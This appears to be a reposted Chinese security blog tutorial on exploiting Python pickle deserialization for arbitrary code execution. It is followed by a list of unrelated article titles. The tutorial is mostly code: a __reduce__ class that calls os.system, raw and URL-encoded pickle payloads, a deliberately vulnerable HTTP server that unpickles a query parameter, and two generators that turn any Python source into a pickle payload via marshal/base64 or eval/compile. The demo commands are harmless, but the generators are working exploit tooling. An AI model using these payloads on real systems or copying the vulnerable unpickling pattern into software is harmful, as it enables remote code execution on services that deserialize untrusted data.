php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造
*原创作者:bit4@勾陈安全实验室,MottoIN原创文章未经许可禁止转载
0x01 Pickle的典型应用场景
一般在什么场景下需要用到Pickle?通常在解析认证token,session的时候。(如果你知道更多,欢迎留言补充,感谢!)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:掌阅iReader某站Python漏洞挖掘 | 离别歌。
可能将对象Pickle后存储成磁盘文件。
可能将对象Pickle后在网络中传输。
可能参数传递给程序,比如sqlmap的代码执行漏洞
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
0x02 如何构造Payload1.执行系统命令的Payload
首先构造一个简单的包含漏洞的代码。
后续的验证过程中,将生成的Payload放到poc.pickle文件中,使用该代码来读取PoC验证效果(我将其保存为dopickle.py)。
__author__ = 'bit4'
import pickle
pickle.load(open('./poc.pickle'))
值得注意的是,pickle有load和loads2个方法,load需要的参数是文件句柄,loads所需要的参数是字符串。
pickle允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。
使用os.system执行命令的payload
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
输出内容,也就是Payload:
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.我们将如上生成的pyload放到poc.pickle文件中,然后执行验证代码dopickle.py,成功执行了"echo test >poc.txt"。
现在问题来了,如何在实际的web环境中使用这些payload呢?
我们先实现一个简单的httpserver(dopicklehttpserver.py):
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle
class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1] #这种写法是一个坑,如果参数payload的值中包含了等号,将导致不正确,pickle将报“insecure string pickle”错误。
#action = query[1].replace("payload=","") #这种写法可以避免=的问题,但实际的项目中肯定不是这么写,求指教~
print action
try:
x = cPickle.loads(action) #string argv
content = x
except Exception,e:
print e
content = e
else:
content = "hello World"
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("")
self.wfile.write("%s" % content)
self.wfile.write("")
if __name__ == '__main__':
srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started httpserver...'
srvr.serve_forever()
运行以上代码后,通过如下URL访问web,传递Payload给服务器。
127.0.0.1:8000/?payload=xxxx
怎么将Payload放到参数中呢,一个直接的想法是使用\n来换行、使用url编码,Payload如下:
使用\n代替
cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.
使用URl编码(换行符是%0A)
cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.
使用URl编码(换行符是%0d%0a)
cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a
经过测试,第二种,使用%0A做换行符的是有效的payload,得到了成功执行。(但其实想想也该是它,作为url中的参数,当然该使用url编码啊)
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.
在PHP中还有有一种比较常见的思路,通过base64编码后传递,如下这种,那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。
http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php
2.执行任意python代码执行payload
我们的目标是实现任意代码执行,所以我们要序列化的对象成了code类型,但是pickle是不能序列化code对象的。
但幸运的是,从python2.6起,包含了一个可以序列化code对象的模块--Marshal。由于python可以在函数当中再导入模块和定义函数,所以我们可以将自己要执行的代码都写到一个函数里foo(), 所以有了如下代码:
__author__ = 'bit4'
import marshalimport base64
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print base64.b64encode(marshal.dumps(foo.func_code))
#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects
想要这段输出的base64的内容得到执行,我们需要如下代码:
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
写得更容易阅读点:
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
把这段代码转换成pickle后的格式,需要了解pickle的数据格式和指令。详细的转换过程可以参考:https://www.cs.uic.edu/~s/musings/pickle/c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。
最终的可以执行任意代码的payload生成器(第一种),foo()函数中的部分是你应该自己编写替换的代码:
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print """ctypesFunctionType(cmarshalloads(cbase64b64decode(StRtRc__builtin__globals(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
将以上代码生成的payload分别用于dopickle.py和dopicklehttpserver.py中进行测试。均成功执行命令。
注意:这里有一个坑,如上的dopicklehttpserver.py写法中,如果生成的payload中有等号(base64经常有等号),将导致参数获取不正确,而pickle.loads()的时候, pickle将报“insecure string pickle”错误。
如何正确从请求中获取参数,请知道的大侠留言告诉我。
使用eval函数,但是它的一个限制是只接受表达式,不能包含函数和类的声明。(使用pickle序列化后的代码对象就达到了要求???)
执行任意代码的payload生成器(第二种):
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS''\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print '''usage: python%sfilename''' % argv[0]
if __name__ == "__main__":
if len(argv) == 2:
print picklecompiler(argv[1])
else:
usage()
对以上代码生成的payload进行了测试,也只是成功执行了未包含函数和类的python代码,包含函数和类的则为执行成功。
3.终极payload生成器
Paper:
老外写的一个payload生成工具,地址为sensepost/anapickle 该工具中包含了大量的成熟payload,有了以上知识,不难理解其中的代码,也可以自己进行修改了。
0x03 参考
*原创作者:bit4@勾陈安全实验室,MottoIN原创文章未经许可禁止转载
php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造相关推荐
- HP officejet、PageWide打印机任意代码执行漏洞cve-2017-2741 Tenable发布漏洞检测插件...
打印机无处不在.在企业,在家里,在学校,但你在做网络安全评估的时候是否考虑过他们?你上一次更新打印机固件是什么时候?您是否知道您的打印机有公共漏洞?Tenable安全公司进行了研究,并发布了漏洞检测 ...
- Apple任意代码执行漏洞
报告编号:B6-2021-072701 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-27 0x01 漏洞简述 2021年07月27日,360CERT监测发现Apple ...
- Nette框架未授权任意代码执行漏洞分析
Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php ?only=1 &show ...
- thinkphp日志泄漏漏洞_ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2 ...
- 基于qtc++设计文本编辑器的代码_文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了...
犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- Apache Log4j任意代码执行漏洞安全风险通告第三次更新
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...
- 文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了
犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...
最新文章
- C++关键字Volatile的作用
- 阶乘在c语言代码大全,求10000的阶乘(c语言代码实现)
- 初步了解mac下C源码的编译过程
- hash 值重复_“重复”相关的问题
- Unity应用架构设计(1)—— MVVM 模式的设计和实施(Part 2)
- ​第二十四章:皮衣大卖
- SpringBoot框架中解决日期展示问题
- VMware vSphere 5.1 群集深入解析(二十八)- vSphere配置
- cpython安装_Cython安装没有找到Python.h文件?
- HTML当当图书馆作业介绍
- 论JAVA语言的优缺点
- 用计算机研究唐诗,妙哉,那个用文言文编程的小哥,竟从28万行唐诗中找出了对称矩阵...
- R语言使用order函数降序排序向量数据、设置decreasing参数进行降序排序
- linux无法识别耳机,Ubuntu 7.10中不能正常使用耳机的解决方法
- 二叉树的创建——递归与非递归
- 网络课笔记整理——物理层
- RAID数据恢复技术介绍
- [操作系统] 王道2023操作系统208页图3.26勘误
- 浅聊下后台管理系统权限控制的实现思路
- Verilog HDL 语言基础语法
热门文章
- boost::system::errc相关的测试程序
- boost::statechart模块实现状态转换测试
- boost::mpi模块实现scan集合的测试
- boost::mp11::mp_list相关用法的测试程序
- boost::mp11::mp_max_element_q相关用法的测试程序
- 宏BOOST_CHECK_EXCEPTION用法的测试程序
- GDCM:显示有关输入DICOM文件的meta元信息的测试程序
- ITK:单相Chan和Vese密集域水平集分割
- ITK:在保留边缘的同时使图像平滑
- ITK:手动遍历具有成形邻域的图像区域